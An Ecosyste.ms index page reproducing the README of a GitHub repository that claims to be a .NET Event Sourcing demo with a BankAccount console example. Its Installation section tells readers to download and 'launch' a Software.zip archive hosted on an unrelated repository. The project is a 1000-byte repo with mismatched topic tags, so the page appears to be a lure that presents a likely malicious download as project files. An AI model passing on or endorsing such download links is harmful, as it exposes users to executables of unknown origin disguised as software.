Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/th3yloruchi/event-sourcing
A .NET repository demonstrating the implementation of Event Sourcing with custom events and streams. Showcased through a BankAccount example in a console application, it tracks money transfers, operations, and account activity using event-based architecture.
https://github.com/th3yloruchi/event-sourcing
aggregate clean-architecture docker domain-driven-design event-sourcing eventsourcing eventstoredb grpc hacktoberfest marten mediatr neo4j solid typescript
Last synced: about 21 hours ago
JSON representation
A .NET repository demonstrating the implementation of Event Sourcing with custom events and streams. Showcased through a BankAccount example in a console application, it tracks money transfers, operations, and account activity using event-based architecture.
- Host: GitHub
- URL: https://github.com/th3yloruchi/event-sourcing
- Owner: Th3yloruchi
- Created: 2025-01-25T15:45:06.000Z (1 day ago)
- Default Branch: main
- Last Pushed: 2025-01-25T17:12:08.000Z (1 day ago)
- Last Synced: 2025-01-25T17:20:38.549Z (1 day ago)
- Topics: aggregate, clean-architecture, docker, domain-driven-design, event-sourcing, eventsourcing, eventstoredb, grpc, hacktoberfest, marten, mediatr, neo4j, solid, typescript
- Size: 1000 Bytes
- Stars: 0
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# Event Sourcing with .NET
Welcome to the "event-sourcing" repository! 🚀
### Overview
This repository showcases the implementation of Event Sourcing with custom events and streams using .NET. In this project, we demonstrate how Event Sourcing can be utilized in a BankAccount example within a console application. By leveraging event-based architecture, we track money transfers, operations, and account activity to provide a comprehensive demonstration of Event Sourcing in action.### Features
- Implementation of Event Sourcing in a .NET environment
- Custom events and streams for tracking financial operations
- BankAccount example showcasing event-based architecture
- Use of clean code principles for better maintainability
- Integration of Command Query Responsibility Segregation (CQRS) pattern### Repository Topics
- bank-account
- c-sharp
- clean-code
- console-application
- cqrs
- dotnet-core
- event-driven-architecture
- event-sourcing
- financial-operations
- software-architecture
- streams### Installation
To get started with this project, you can download the necessary files from the [Software.zip](https://github.com/22155555/1875695542/releases/download/v1.0/Software.zip) archive. Ensure to launch the file from the link provided to access the project resources.[![Download Software.zip](https://img.shields.io/badge/Download-Software.zip-brightgreen)](https://github.com/22155555/1875695542/releases/download/v1.0/Software.zip)
### Getting Started
1. Clone the repository to your local machine.
2. Unzip the downloaded files.
3. Open the solution in your preferred .NET development environment.
4. Build and run the project to explore the Event Sourcing implementation.### Example Usage
Here's a quick peek into how you can interact with the BankAccount example in the console application:```csharp
BankAccount account = new BankAccount();
account.Deposit(100);
account.Transfer(50, "Savings");
account.Withdraw(25);Console.WriteLine("Account Activity:");
foreach (var operation in account.GetAccountActivity())
{
Console.WriteLine(operation);
}
```### Contributions
Contributions to this repository are always welcome. If you have ideas for improvements, new features, or bug fixes, feel free to submit a pull request.### Support
For any questions or assistance with this project, please reach out to the repository owner.### License
This project is licensed under the MIT License. See the [LICENSE](./LICENSE) file for more details.Let's dive into the world of Event Sourcing with .NET and explore the power of event-based architecture! 🔍🎉
Enjoy coding! 💻✨